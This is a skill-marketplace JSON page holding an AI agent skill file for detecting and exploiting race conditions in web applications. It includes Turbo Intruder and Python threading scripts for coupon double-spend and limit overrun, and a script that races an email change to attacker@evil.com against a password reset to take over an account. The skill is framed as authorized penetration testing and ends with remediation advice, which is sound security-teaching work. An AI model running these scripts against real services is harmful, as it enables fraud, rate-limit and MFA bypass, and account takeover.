[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6ETPSBJCXEYN5S98FASN48X":3,"skill-same:01M6ETPSBJCXEYN5S98FASN48X":103},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":23,"publishedAt":44,"linkOnly":45,"markdownContent":46,"markdownBody":47,"frontMatter":48,"refName":64,"commitSha":65,"skillDirectory":66,"forksCount":14,"repositoryHtmlUrl":67,"repositoryHomepageUrl":68,"ownerHtmlUrl":69,"ownerBlogUrl":6,"ownerDescription":70,"updatedAt":71,"install":72,"resources":85},"01M6ETPSBJCXEYN5S98FASN48X","exploiting-race-condition-vulnerabilities",null,"Detect and exploit race condition vulnerabilities in web applications using Turbo Intruder's single-packet attack technique to bypass rate limits, duplicate transactions, and exploit time-of-check-to-time-of-use flaws.","henriquescastilho\u002Fmy-claude","henriquescastilho","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F153296945?v=4","01M6ESH7EXPXTH9CVQ4K16SRG8","Henrique Scheer","01M6ESH7JHEK2PTNNH4HEH787Z",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fexploiting-race-condition-vulnerabilities\u002FSKILL.md",[18],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发","SCENARIO","使用场景",[24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43],"vulnerabilities","condition","exploiting race condition vulnerabilities","turbo","security","de","time","007","cm","exploit","transactions","t1505","burp-suite","limit-overrun","single-packet-attack","concurrency","toctou","turbo-intruder","race-condition","cybersecurity","2026-11-10 10:12:30",false,"---\nname: exploiting-race-condition-vulnerabilities\ndescription: Detect and exploit race condition vulnerabilities in web applications\n  using Turbo Intruder's single-packet attack technique to bypass rate limits, duplicate\n  transactions, and exploit time-of-check-to-time-of-use flaws.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- race-condition\n- turbo-intruder\n- toctou\n- concurrency\n- single-packet-attack\n- limit-overrun\n- burp-suite\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1505.003\n- T1083\n- T1027\n---\n\n# Exploiting Race Condition Vulnerabilities\n\n## When to Use\n- When testing applications with transaction-based functionality (payments, transfers, coupons)\n- During assessment of rate-limiting or attempt-limiting mechanisms\n- When testing multi-step workflows (registration, password reset, MFA)\n- During bug bounty hunting for logic flaws in state-changing operations\n- When evaluating applications with inventory or balance management systems\n\n## Prerequisites\n- Burp Suite Professional with Turbo Intruder extension installed\n- Understanding of HTTP\u002F2 single-packet attack technique\n- Python scripting ability for custom Turbo Intruder scripts\n- Knowledge of TOCTOU (Time-of-Check-to-Time-of-Use) vulnerabilities\n- Target application with state-changing operations (purchases, votes, transfers)\n- Multiple user accounts for testing cross-user race conditions\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1 — Identify Race Condition Attack Surface\n```\n# Common race condition targets:\n# - Coupon\u002Fdiscount code redemption (limit: 1 per user)\n# - Account balance transfers\n# - Inventory purchase (limited stock)\n# - Rate-limited operations (login attempts, SMS verification)\n# - Multi-step workflows (email change + password reset)\n# - File upload + processing pipelines\n\n# Capture the target request in Burp Suite\n# Send to Turbo Intruder (Extensions > Turbo Intruder > Send to Turbo Intruder)\n```\n\n### Step 2 — Configure Single-Packet Attack in Turbo Intruder\n```python\n# Turbo Intruder script for single-packet race condition\n# This sends all requests simultaneously in one TCP packet\n\ndef queueRequests(target, wordlists):\n    engine = RequestEngine(endpoint=target.endpoint,\n                          concurrentConnections=1,\n                          engine=Engine.BURP2)\n\n    # Queue 20 identical requests for the same operation\n    for i in range(20):\n        engine.queue(target.req, gate='race1')\n\n    # Hold all requests until ready\n    engine.openGate('race1')\n\ndef handleResponse(req, interesting):\n    table.add(req)\n```\n\n### Step 3 — Execute Limit Overrun Attack\n```python\n# Turbo Intruder script for coupon\u002Fdiscount limit bypass\ndef queueRequests(target, wordlists):\n    engine = RequestEngine(endpoint=target.endpoint,\n                          concurrentConnections=1,\n                          requestsPerConnection=50,\n                          engine=Engine.BURP2)\n\n    # Send 50 coupon redemption requests simultaneously\n    for i in range(50):\n        engine.queue(target.req, gate='coupon_race')\n\n    engine.openGate('coupon_race')\n\ndef handleResponse(req, interesting):\n    # Flag successful redemptions (200 OK)\n    if req.status == 200:\n        table.add(req)\n```\n\n### Step 4 — Exploit Multi-Endpoint Race Conditions\n```python\n# Race condition between two different endpoints\n# Example: Change email + trigger password reset simultaneously\ndef queueRequests(target, wordlists):\n    engine = RequestEngine(endpoint=target.endpoint,\n                          concurrentConnections=1,\n                          engine=Engine.BURP2)\n\n    # Request 1: Change email to attacker@evil.com\n    email_change = '''POST \u002Fapi\u002Fchange-email HTTP\u002F2\nHost: target.com\nCookie: session=VALID_SESSION\nContent-Type: application\u002Fjson\n\n{\"email\":\"attacker@evil.com\"}'''\n\n    # Request 2: Trigger password reset (goes to original email)\n    password_reset = '''POST \u002Fapi\u002Freset-password HTTP\u002F2\nHost: target.com\nContent-Type: application\u002Fjson\n\n{\"email\":\"victim@target.com\"}'''\n\n    engine.queue(email_change, gate='race1')\n    engine.queue(password_reset, gate='race1')\n\n    engine.openGate('race1')\n\ndef handleResponse(req, interesting):\n    table.add(req)\n```\n\n### Step 5 — Test with Python Threading Alternative\n```python\nimport threading\nimport requests\n\nTARGET_URL = \"http:\u002F\u002Ftarget.com\u002Fapi\u002Fredeem-coupon\"\nCOUPON_CODE = \"DISCOUNT50\"\nSESSION_COOKIE = \"session=abc123\"\n\ndef send_request():\n    response = requests.post(\n        TARGET_URL,\n        json={\"coupon\": COUPON_CODE},\n        headers={\"Cookie\": SESSION_COOKIE},\n        timeout=10\n    )\n    print(f\"Status: {response.status_code}, Response: {response.text[:100]}\")\n\n# Create barrier to synchronize thread start\nbarrier = threading.Barrier(20)\n\ndef synchronized_request():\n    barrier.wait()  # All threads wait here, then start together\n    send_request()\n\nthreads = [threading.Thread(target=synchronized_request) for _ in range(20)]\nfor t in threads:\n    t.start()\nfor t in threads:\n    t.join()\n```\n\n### Step 6 — Analyze Results and Confirm Exploitation\n```\n# In Turbo Intruder results:\n# - Sort by status code to identify successful requests\n# - Compare response lengths to find anomalies\n# - Check if more than one request succeeded (limit overrun confirmed)\n# - Verify backend state (balance, inventory, coupon count)\n\n# Document the race window timing\n# Successful race conditions typically require:\n# - HTTP\u002F2 single-packet attack: ~30 seconds to find\n# - Last-byte sync (HTTP\u002F1.1): ~2+ hours to find\n# - Thread-based approach: Variable, less reliable\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| TOCTOU | Time-of-Check-to-Time-of-Use flaw where state changes between validation and action |\n| Single-Packet Attack | Sending multiple HTTP\u002F2 requests in one TCP packet for precise synchronization |\n| Last-Byte Sync | HTTP\u002F1.1 technique holding final byte of multiple requests then releasing simultaneously |\n| Limit Overrun | Exceeding one-time-use limits by exploiting race windows in validation logic |\n| Hidden State Machine | Exploiting transitional states in multi-step application workflows |\n| Gate Mechanism | Turbo Intruder feature that holds requests until all are queued, then releases simultaneously |\n| Connection Warming | Pre-establishing connections to reduce network jitter in race condition attacks |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| Turbo Intruder | Burp Suite extension for high-speed race condition exploitation |\n| Burp Suite Repeater | Group send feature for basic race condition testing |\n| Nuclei | Template-based scanner with race condition detection templates |\n| Python threading | Custom multi-threaded race condition scripts |\n| racepwn | Dedicated race condition testing framework |\n| asyncio\u002Faiohttp | Python async HTTP for concurrent request sending |\n\n## Common Scenarios\n\n1. **Coupon Double-Spend** — Redeem a single-use coupon multiple times by sending concurrent redemption requests before the server marks it as used\n2. **Balance Overdraft** — Transfer more money than available by sending simultaneous transfer requests that each pass the balance check\n3. **MFA Bypass** — Submit multiple MFA codes simultaneously to bypass rate limiting on verification attempts\n4. **Inventory Manipulation** — Purchase more items than available stock by exploiting race conditions in inventory decrement logic\n5. **Account Registration Bypass** — Create multiple accounts with the same email by submitting concurrent registration requests\n\n## Output Format\n\n```\n## Race Condition Assessment Report\n- **Target**: http:\u002F\u002Ftarget.com\u002Fapi\u002Fredeem-coupon\n- **Technique**: HTTP\u002F2 Single-Packet Attack via Turbo Intruder\n- **Concurrent Requests**: 20\n- **Successful Exploitations**: 4 out of 20\n\n### Findings\n| # | Endpoint | Operation | Expected | Actual | Severity |\n|---|----------|-----------|----------|--------|----------|\n| 1 | POST \u002Fredeem-coupon | Single use coupon | 1 redemption | 4 redemptions | High |\n| 2 | POST \u002Ftransfer | Balance transfer | Limited by balance | Overdraft achieved | Critical |\n\n### Race Window Analysis\n- HTTP\u002F2 single-packet: Reliable exploitation in \u003C30 seconds\n- Success rate: ~20% per batch of 20 requests\n- Race window estimated: 50-100ms\n\n### Remediation\n- Implement database-level locking (SELECT FOR UPDATE) on critical operations\n- Use optimistic concurrency control with version numbers\n- Apply idempotency keys for state-changing requests\n- Implement distributed locks for multi-server environments\n```\n","# Exploiting Race Condition Vulnerabilities\n\n## When to Use\n- When testing applications with transaction-based functionality (payments, transfers, coupons)\n- During assessment of rate-limiting or attempt-limiting mechanisms\n- When testing multi-step workflows (registration, password reset, MFA)\n- During bug bounty hunting for logic flaws in state-changing operations\n- When evaluating applications with inventory or balance management systems\n\n## Prerequisites\n- Burp Suite Professional with Turbo Intruder extension installed\n- Understanding of HTTP\u002F2 single-packet attack technique\n- Python scripting ability for custom Turbo Intruder scripts\n- Knowledge of TOCTOU (Time-of-Check-to-Time-of-Use) vulnerabilities\n- Target application with state-changing operations (purchases, votes, transfers)\n- Multiple user accounts for testing cross-user race conditions\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1 — Identify Race Condition Attack Surface\n```\n# Common race condition targets:\n# - Coupon\u002Fdiscount code redemption (limit: 1 per user)\n# - Account balance transfers\n# - Inventory purchase (limited stock)\n# - Rate-limited operations (login attempts, SMS verification)\n# - Multi-step workflows (email change + password reset)\n# - File upload + processing pipelines\n\n# Capture the target request in Burp Suite\n# Send to Turbo Intruder (Extensions > Turbo Intruder > Send to Turbo Intruder)\n```\n\n### Step 2 — Configure Single-Packet Attack in Turbo Intruder\n```python\n# Turbo Intruder script for single-packet race condition\n# This sends all requests simultaneously in one TCP packet\n\ndef queueRequests(target, wordlists):\n    engine = RequestEngine(endpoint=target.endpoint,\n                          concurrentConnections=1,\n                          engine=Engine.BURP2)\n\n    # Queue 20 identical requests for the same operation\n    for i in range(20):\n        engine.queue(target.req, gate='race1')\n\n    # Hold all requests until ready\n    engine.openGate('race1')\n\ndef handleResponse(req, interesting):\n    table.add(req)\n```\n\n### Step 3 — Execute Limit Overrun Attack\n```python\n# Turbo Intruder script for coupon\u002Fdiscount limit bypass\ndef queueRequests(target, wordlists):\n    engine = RequestEngine(endpoint=target.endpoint,\n                          concurrentConnections=1,\n                          requestsPerConnection=50,\n                          engine=Engine.BURP2)\n\n    # Send 50 coupon redemption requests simultaneously\n    for i in range(50):\n        engine.queue(target.req, gate='coupon_race')\n\n    engine.openGate('coupon_race')\n\ndef handleResponse(req, interesting):\n    # Flag successful redemptions (200 OK)\n    if req.status == 200:\n        table.add(req)\n```\n\n### Step 4 — Exploit Multi-Endpoint Race Conditions\n```python\n# Race condition between two different endpoints\n# Example: Change email + trigger password reset simultaneously\ndef queueRequests(target, wordlists):\n    engine = RequestEngine(endpoint=target.endpoint,\n                          concurrentConnections=1,\n                          engine=Engine.BURP2)\n\n    # Request 1: Change email to attacker@evil.com\n    email_change = '''POST \u002Fapi\u002Fchange-email HTTP\u002F2\nHost: target.com\nCookie: session=VALID_SESSION\nContent-Type: application\u002Fjson\n\n{\"email\":\"attacker@evil.com\"}'''\n\n    # Request 2: Trigger password reset (goes to original email)\n    password_reset = '''POST \u002Fapi\u002Freset-password HTTP\u002F2\nHost: target.com\nContent-Type: application\u002Fjson\n\n{\"email\":\"victim@target.com\"}'''\n\n    engine.queue(email_change, gate='race1')\n    engine.queue(password_reset, gate='race1')\n\n    engine.openGate('race1')\n\ndef handleResponse(req, interesting):\n    table.add(req)\n```\n\n### Step 5 — Test with Python Threading Alternative\n```python\nimport threading\nimport requests\n\nTARGET_URL = \"http:\u002F\u002Ftarget.com\u002Fapi\u002Fredeem-coupon\"\nCOUPON_CODE = \"DISCOUNT50\"\nSESSION_COOKIE = \"session=abc123\"\n\ndef send_request():\n    response = requests.post(\n        TARGET_URL,\n        json={\"coupon\": COUPON_CODE},\n        headers={\"Cookie\": SESSION_COOKIE},\n        timeout=10\n    )\n    print(f\"Status: {response.status_code}, Response: {response.text[:100]}\")\n\n# Create barrier to synchronize thread start\nbarrier = threading.Barrier(20)\n\ndef synchronized_request():\n    barrier.wait()  # All threads wait here, then start together\n    send_request()\n\nthreads = [threading.Thread(target=synchronized_request) for _ in range(20)]\nfor t in threads:\n    t.start()\nfor t in threads:\n    t.join()\n```\n\n### Step 6 — Analyze Results and Confirm Exploitation\n```\n# In Turbo Intruder results:\n# - Sort by status code to identify successful requests\n# - Compare response lengths to find anomalies\n# - Check if more than one request succeeded (limit overrun confirmed)\n# - Verify backend state (balance, inventory, coupon count)\n\n# Document the race window timing\n# Successful race conditions typically require:\n# - HTTP\u002F2 single-packet attack: ~30 seconds to find\n# - Last-byte sync (HTTP\u002F1.1): ~2+ hours to find\n# - Thread-based approach: Variable, less reliable\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| TOCTOU | Time-of-Check-to-Time-of-Use flaw where state changes between validation and action |\n| Single-Packet Attack | Sending multiple HTTP\u002F2 requests in one TCP packet for precise synchronization |\n| Last-Byte Sync | HTTP\u002F1.1 technique holding final byte of multiple requests then releasing simultaneously |\n| Limit Overrun | Exceeding one-time-use limits by exploiting race windows in validation logic |\n| Hidden State Machine | Exploiting transitional states in multi-step application workflows |\n| Gate Mechanism | Turbo Intruder feature that holds requests until all are queued, then releases simultaneously |\n| Connection Warming | Pre-establishing connections to reduce network jitter in race condition attacks |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| Turbo Intruder | Burp Suite extension for high-speed race condition exploitation |\n| Burp Suite Repeater | Group send feature for basic race condition testing |\n| Nuclei | Template-based scanner with race condition detection templates |\n| Python threading | Custom multi-threaded race condition scripts |\n| racepwn | Dedicated race condition testing framework |\n| asyncio\u002Faiohttp | Python async HTTP for concurrent request sending |\n\n## Common Scenarios\n\n1. **Coupon Double-Spend** — Redeem a single-use coupon multiple times by sending concurrent redemption requests before the server marks it as used\n2. **Balance Overdraft** — Transfer more money than available by sending simultaneous transfer requests that each pass the balance check\n3. **MFA Bypass** — Submit multiple MFA codes simultaneously to bypass rate limiting on verification attempts\n4. **Inventory Manipulation** — Purchase more items than available stock by exploiting race conditions in inventory decrement logic\n5. **Account Registration Bypass** — Create multiple accounts with the same email by submitting concurrent registration requests\n\n## Output Format\n\n```\n## Race Condition Assessment Report\n- **Target**: http:\u002F\u002Ftarget.com\u002Fapi\u002Fredeem-coupon\n- **Technique**: HTTP\u002F2 Single-Packet Attack via Turbo Intruder\n- **Concurrent Requests**: 20\n- **Successful Exploitations**: 4 out of 20\n\n### Findings\n| # | Endpoint | Operation | Expected | Actual | Severity |\n|---|----------|-----------|----------|--------|----------|\n| 1 | POST \u002Fredeem-coupon | Single use coupon | 1 redemption | 4 redemptions | High |\n| 2 | POST \u002Ftransfer | Balance transfer | Limited by balance | Overdraft achieved | Critical |\n\n### Race Window Analysis\n- HTTP\u002F2 single-packet: Reliable exploitation in \u003C30 seconds\n- Success rate: ~20% per batch of 20 requests\n- Race window estimated: 50-100ms\n\n### Remediation\n- Implement database-level locking (SELECT FOR UPDATE) on critical operations\n- Use optimistic concurrency control with version numbers\n- Apply idempotency keys for state-changing requests\n- Implement distributed locks for multi-server environments\n```\n",{"name":5,"tags":49,"author":50,"domain":43,"license":15,"version":51,"nist_csf":52,"subdomain":57,"description":7,"mitre_attack":58},[42,41,40,39,38,37,36],"mahipal","1.0",[53,54,55,56],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01","web-application-security",[59,60,61,62,63],"T1190","T1059.007","T1505.003","T1083","T1027","main","7925716f065257435fdb12e97f7e52842147d5ad",".claude\u002Fskills\u002Fexploiting-race-condition-vulnerabilities","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude","https:\u002F\u002Fclaude.com\u002Fclaude-code","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho","Software · Applied AI · Quantitative Modeling · Building with Claude.","2026-06-10 12:24:46",{"source":8,"skillName":5,"commands":73,"prompt":83,"zipAvailable":84},[74,77,80],{"tool":75,"command":76},"npx","npx skills add henriquescastilho\u002Fmy-claude --skill exploiting-race-condition-vulnerabilities",{"tool":78,"command":79},"bunx","bunx skills add henriquescastilho\u002Fmy-claude --skill exploiting-race-condition-vulnerabilities",{"tool":81,"command":82},"pnpm","pnpm dlx skills add henriquescastilho\u002Fmy-claude --skill exploiting-race-condition-vulnerabilities","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fexploiting-race-condition-vulnerabilities\u002FSKILL.md",true,[86,91,97],{"path":87,"resourceType":87,"resourceTypeDesc":88,"sizeBytes":89,"sourceHtmlUrl":90},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fexploiting-race-condition-vulnerabilities\u002FLICENSE",{"path":92,"resourceType":93,"resourceTypeDesc":94,"sizeBytes":95,"sourceHtmlUrl":96},"references\u002Fapi-reference.md","REFERENCE","参考文档",2446,"https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fexploiting-race-condition-vulnerabilities\u002Freferences\u002Fapi-reference.md",{"path":98,"resourceType":99,"resourceTypeDesc":100,"sizeBytes":101,"sourceHtmlUrl":102},"scripts\u002Fagent.py","SCRIPT","脚本",4304,"https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fexploiting-race-condition-vulnerabilities\u002Fscripts\u002Fagent.py",[104,145,154,163,185,211],{"skillNo":105,"name":106,"nameZh":6,"description":107,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":108,"licenseFileUrl":6,"sourceHtmlUrl":109,"categories":110,"keywords":125,"publishedAt":44},"01M6F0B6XPQ65AX2X0DWK8KT3E","markitdown","Convert files and office documents to Markdown. Supports PDF, DOCX, PPTX, XLSX, images (with OCR), audio (with transcription), HTML, CSV, JSON, XML, ZIP, YouTube URLs, EPubs and more.","MIT","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-writer\u002Fskills\u002Fmarkitdown\u002FSKILL.md",[111,114,117,120],{"categoryNo":112,"categoryName":113,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000002","文档处理",{"categoryNo":115,"categoryName":116,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000003","演示文稿",{"categoryNo":118,"categoryName":119,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000004","电子表格",{"categoryNo":121,"categoryName":122,"taxonomyType":123,"taxonomyTypeDesc":124},"01JBSEEDCAT000000000000034","行政与办公人员","PROFESSION","适用职业",[106,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144],"docx","PDF","pptx","xlsx","documents","csv","ocr","Audio","Bash","markdown","convert","read","write","edit","html","images","files","youtube","with",{"skillNo":146,"name":106,"nameZh":6,"description":107,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":108,"licenseFileUrl":6,"sourceHtmlUrl":147,"categories":148,"keywords":153,"publishedAt":44},"01M6F06SBHR9F0SDWE282Y8075","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-writer\u002Fscientific_writer\u002F.claude\u002Fskills\u002Fmarkitdown\u002FSKILL.md",[149,150,151,152],{"categoryNo":112,"categoryName":113,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":115,"categoryName":116,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":118,"categoryName":119,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":121,"categoryName":122,"taxonomyType":123,"taxonomyTypeDesc":124},[106,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144],{"skillNo":155,"name":106,"nameZh":6,"description":107,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":108,"licenseFileUrl":6,"sourceHtmlUrl":156,"categories":157,"keywords":162,"publishedAt":44},"01M6F02D4R14EJAPBWVDF9J9VQ","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-writer\u002F.claude\u002Fskills\u002Fmarkitdown\u002FSKILL.md",[158,159,160,161],{"categoryNo":112,"categoryName":113,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":115,"categoryName":116,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":118,"categoryName":119,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":121,"categoryName":122,"taxonomyType":123,"taxonomyTypeDesc":124},[106,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144],{"skillNo":164,"name":165,"nameZh":6,"description":166,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":108,"licenseFileUrl":6,"sourceHtmlUrl":167,"categories":168,"keywords":169,"publishedAt":44},"01M6F000KS6YB4MKS774G4R8ND","zarr-python","Chunked N-D arrays for cloud storage. Compressed arrays, parallel I\u002FO, S3\u002FGCS integration, NumPy\u002FDask\u002FXarray compatible, for large-scale scientific computing pipelines.","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-skills\u002Fscientific-skills\u002Fzarr-python\u002FSKILL.md",[],[170,171,172,173,174,175,176,177,178,179,180,181,182,183,184],"python","zarr python","storage","integration","s3","gcs","cloud","dask","parallel","pipelines","arrays","numpy","scientific computing","scale","scientific",{"skillNo":186,"name":187,"nameZh":6,"description":188,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":108,"licenseFileUrl":6,"sourceHtmlUrl":189,"categories":190,"keywords":192,"publishedAt":44},"01M6EZZJWFXM1GR78KTW6J0DN8","what-if-oracle","Run structured What-If scenario analysis with multi-branch possibility exploration. Use this skill when the user asks speculative questions like \"what if...\", \"what would happen if...\", \"what are the possibilities\", \"explore scenarios\", \"scenario analysis\", \"possibility space\", \"what could go wrong\", \"best case \u002F worst case\", \"risk analysis\", \"contingency planning\", \"strategic options\", or any question about uncertain futures. Also trigger when the user faces a fork-in-the-road decision, wants to stress-test an idea, or needs to think through consequences before committing.","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-skills\u002Fscientific-skills\u002Fwhat-if-oracle\u002FSKILL.md",[191],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[193,194,195,196,197,198,199,200,201,202,203,137,138,204,205,206,207,208,209,210],"oracle","what if oracle","go","run","ux","futures","analysis","explore","decision","branch","question","idea","exploration","options","stress-test","strategies","scenario","stress",{"skillNo":212,"name":213,"nameZh":6,"description":214,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":108,"licenseFileUrl":6,"sourceHtmlUrl":215,"categories":216,"keywords":227,"publishedAt":44},"01M6EZZCXAEB49RXGQCJX5E8GB","venue-templates","Access comprehensive LaTeX templates, formatting requirements, and submission guidelines for major scientific publication venues (Nature, Science, PLOS, IEEE, ACM), academic conferences (NeurIPS, ICML, CVPR, CHI), research posters, and grant proposals (NSF, NIH, DOE, DARPA). This skill should be used when preparing manuscripts for journal submission, conference papers, research posters, or grant proposals and need venue-specific formatting requirements and templates.","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-skills\u002Fscientific-skills\u002Fvenue-templates\u002FSKILL.md",[217,220,223,224],{"categoryNo":218,"categoryName":219,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000018","写作与文案",{"categoryNo":221,"categoryName":222,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000021","资料检索与研究",{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":225,"categoryName":226,"taxonomyType":123,"taxonomyTypeDesc":124},"01JBSEEDCAT000000000000036","内容创作者",[228,229,230,231,232,233,234,235,134,236,137,138,139,237,238,239,240,241,184,242],"templates","venue templates","research","guidelines","NeurIPS","ICML","LaTeX","science","access","proposals","Academic","requirements","formatting","journal","chi"]